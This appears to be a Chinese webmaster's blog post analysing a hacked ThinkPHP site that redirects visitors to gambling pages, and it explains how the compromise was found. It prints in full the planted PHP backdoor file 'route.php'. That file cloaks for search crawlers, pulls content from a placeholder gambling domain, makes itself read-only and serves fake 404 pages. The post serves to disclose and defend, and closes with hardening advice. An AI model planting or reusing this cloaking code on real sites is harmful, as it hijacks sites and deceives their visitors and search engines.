ThinkPHP 是国内比较成熟,非常流行的php的web框架,免费开源,这些特性如同站长们最爱使用的织梦建站系统工具一样(dedecms)非常容易被挂马,跳转菠菜网站!
开源的特性意味着所有公开,如果维护程度没跟上,漏洞没有及时修补,总是最容易被盯上,尤其是有稍微那么一丝价值,有流量的web站点,毕竟总是有那么一些爱研究的高手,尤其是那些别有用心的选手!
挂马特征
- 整站跳转!
- PC端仅首页能访问,访问任何网页直接跳转报错404提示(缘由可看后面的分析及PHP挂马文件)!
- 移动端头部被插入实时访问可更换菠菜站新闻列表栏目页,刷新一次更新一次(此手法非常利于百度收录更新),移动端链接点击跳转菠菜首页!
挂马分析
- 挂马文件:route.php
经过查询获悉:route为ThinkPHP框架路由配置文件名!
thinkphp路由配置route.php
路由设置配置
打开route.php 引入Route控制器类(use thinkRoute;) 设置路由--》 Route::rule('路由表达式','路由地址','请求类型','路由参数(数组)','变量规则(数组)');
- 挂马路径:Runtime/
在利用ThinkPHP生成的项目目录中就有一个Runtime目录,即项目运行时目录。
第一次运行时,如果没有开通app_debug会产生runtime.php文件,以后每次运行都会判断是否开启,并且是否有runtime文件,如果有则使用,没有则创建。
PS:至于为什么 route.php 文件为什么会上传到此处,该因 Runtime 此目录未被加锁,未防止篡改已整站加锁!
挂马文件代码
代码语言:javascript复制<?php
set_time_limit(0);
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
$tr = "stristr";
$er = $_SERVER;
function httpGetlai($url) {
$ch = curl_init();
//设置选项,包括URL
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Baiduspider/2.0; http://www.baidu.com/search/spider.html)');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
//执行并获取HTML文档内容
$output = curl_exec($ch);
//释放curl句柄
curl_close($ch);
//打印获得的数据
return $output;
}
$filename1 = @end(explode('/', $url1));
function set_writeablelai($file_name)
{
@chmod($file_name, 0444);
}
@chmod(FILE, 0444);
set_writeablelai($filename1);
define('url', $er['REQUEST_URI']);
define('ref', $er['HTTP_REFERER']);
define('ent', $er['HTTP_USER_AGENT']);
define('site', "https://www.菠菜域名.com/");
define('road', "?" .$er['HTTP_HOST'] . url);
define('regs', '@Baidu|Sogou|Yisou|Haosou|Spider|So.com|Sm.cn@i');
define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/');
define('area', $tr(url, ".xml") or $tr(url, ".doc") or $tr(url, ".pdf") or $tr(url, ".txt") or $tr(url, ".ppt") or $tr(url,
".pptx") or $tr(url, ".xls") or $tr(url, ".csv") or $tr(url, ".shtml") or $tr(url,".tacc")or $tr(url,".ga")or $tr(url,".gq")or
$tr(url, ".html") or $tr(url, ".xlsx") and $tr(url, "?"));
if (preg_match(regs, ent)) {
if (area) {
echo httpGetlai(site.road);
exit;
} else {
echo httpGetlai("https://www.菠菜域名.com/x.php");
ob_flush();
flush();
}
}
if (area){
if (preg_match(mobile, ent)){
$Content_mb=file_get_contents("http://www.菠菜域名.top/index.html");
echo $Content_mb;
exit;
}else{
http_response_code(404);
echo "
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx</center>
</body>
</html>
";
exit;
}
}
?>
几点建议
- 任何时候都不建议暴露自己建站所使用的源码程序!
- 尽量使用能稳定更新的程序版本,有重大已知漏洞的开源框架尽量不用,或者使用更新更加稳定维护更新的版本号!
注意,
现在挂马带来的影响非常大,
尤其是对于在推广的胸低们来说!
你好,我是二大爷,
革命老区外出进城务工人员,
互联网非早期非专业站长,
喜好python,写作,阅读,英语
不入流程序,自媒体,seo . . .